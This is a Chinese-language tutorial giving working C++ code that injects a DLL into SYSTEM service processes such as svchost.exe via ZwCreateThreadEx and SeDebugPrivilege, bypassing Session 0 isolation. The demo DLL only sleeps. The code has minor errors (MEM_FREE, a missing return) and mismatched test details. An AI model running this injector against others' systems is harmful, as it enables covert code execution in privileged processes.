前言
在上一章《远程线程注入》中,我们可以向普通用户进程注入DLL;但是无法向system等权限的系统服务器进程中注入。
由于系统的SESSION 0隔离机制,导致注入失败;我们可使用ZwCreateThreadEx函数进行远程线程注入,可以突破SESSION 0隔离。
函数介绍
大部分函数在上一章中已具体分析过,本章节将忽略
ZwCreateThreadEx函数
突破SESSION 0隔离,将DLL注入到系统服务进行;
ZwCreateThreadEx函数在ntdll.dll中没有被声明,所以需要使用GetProcAddress从ntdll.dll中获取函数导出地址。
语法
X64
DWORD ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
)
X32
DWORD ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
直接上源码。
示例
程序代码
OpenProcess直接打开系统服务进程会报错权限不足,右键管理员运行也无法打开;
故增加EnableDebugPrivilege部分,获取Debug权限。
#include <iostream>
#include <Windows.h>
BOOL EnableDebugPrivilege(BOOL bEnable)
{
BOOL fOK = FALSE; //Assume function fails
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOK = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOK;
}
//远程线程注入
bool RemoteThreadInject(int Pid, const char* Path)
{
//1.使用PID打开进程获取权限
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, Pid);
if (hProcess == NULL)
{
printf("打开进程失败\n");
return FALSE;
}
else
{
printf("打开进程成功\n");
}
//2.申请内存,写入DLL路径
LPVOID pBuf = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
if (!pBuf)
{
printf("申请内存失败!\n");
return false;
}
else
{
printf("申请内存成功!\n");
}
//3.写入内存
// SIZE_T dwWrite = 0;
if (!WriteProcessMemory(hProcess, pBuf, Path, strlen(Path) + 1, NULL))
{
printf("写入内存失败!\n");
return false;
}
//4.创建远程线程,让对方调用LoadLibrary
HMODULE hModule = LoadLibrary("kernel32.dll");
LPTHREAD_START_ROUTINE pfnStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if (!pfnStartAddress)
{
printf("获取LoadLibraryW失败!\n");
return false;
}
else
{
printf("获取LoadLibraryW成功!\n");
}
//5.加载ntdll.dll
HMODULE hNtdll = LoadLibrary("ntdll.dll");
if (NULL == hNtdll)
{
printf("加载ntdll.dll失败!");
CloseHandle(hProcess);
return FALSE;
}
//6.获取ZwCreateThreadEx的函数地址
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("获取ZwCreateThreadEx函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
//7.在目标进程中创建线程
HANDLE hRemoteThread = NULL;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
pfnStartAddress, pBuf, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
printf("目标进程中创建线程失败!");
CloseHandle(hProcess);
return FALSE;
}
else
{
printf("目标进程中创建线程成功!\n");
}
//8.等待线程结束返回,释放资源
WaitForSingleObject(hRemoteThread, -1);
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);
}
int main()
{
EnableDebugPrivilege(SE_PRIVILEGE_ENABLED);
printf("GetDuBug");
const char* dllpath = "C:\\Users\\Administrator\\Desktop\\testDll1.dll";
RemoteThreadInject(880, dllpath);
printf("执行结束");
return 0;
}
DLL代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Sleep(1000000);
// MessageBox(NULL, L"TIPS", L"TEST", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
测试
选择svchost.exe作为被注入的进程PID为696;
注入DLL文件为“C:\Users\Administrator\Desktop\sleep.dll”:
执行程序生成EXE,使用ProcessExplorer查看进程:
原理学习
CreateRemoteThead函数最终还是调用ZwCreateThreadEx函数实现远程线程创建。windows内核6.0以后引入隔离机制,创建一个线程之后不直接运行,而是挂起线程,检查运行线程所在会话层决定是否恢复进程。
在使用CreateRemoteThead函数创建远程线程时,调用ZwCreateThreadEx函数执行,目标进程为系统进程时,第七个参数CreateThreadFlags的值为1,导致线程创建完成后一直处于挂起状态。
同样由于会话隔离机制,系统服务进程不能显示窗体,上述实例DLL中使用sleep,主体程序中会等待线程结束,所以CMD窗口未运行结束。可以通过ProcessExplorer查看svchost.exe进程,可以发现sleep.dll。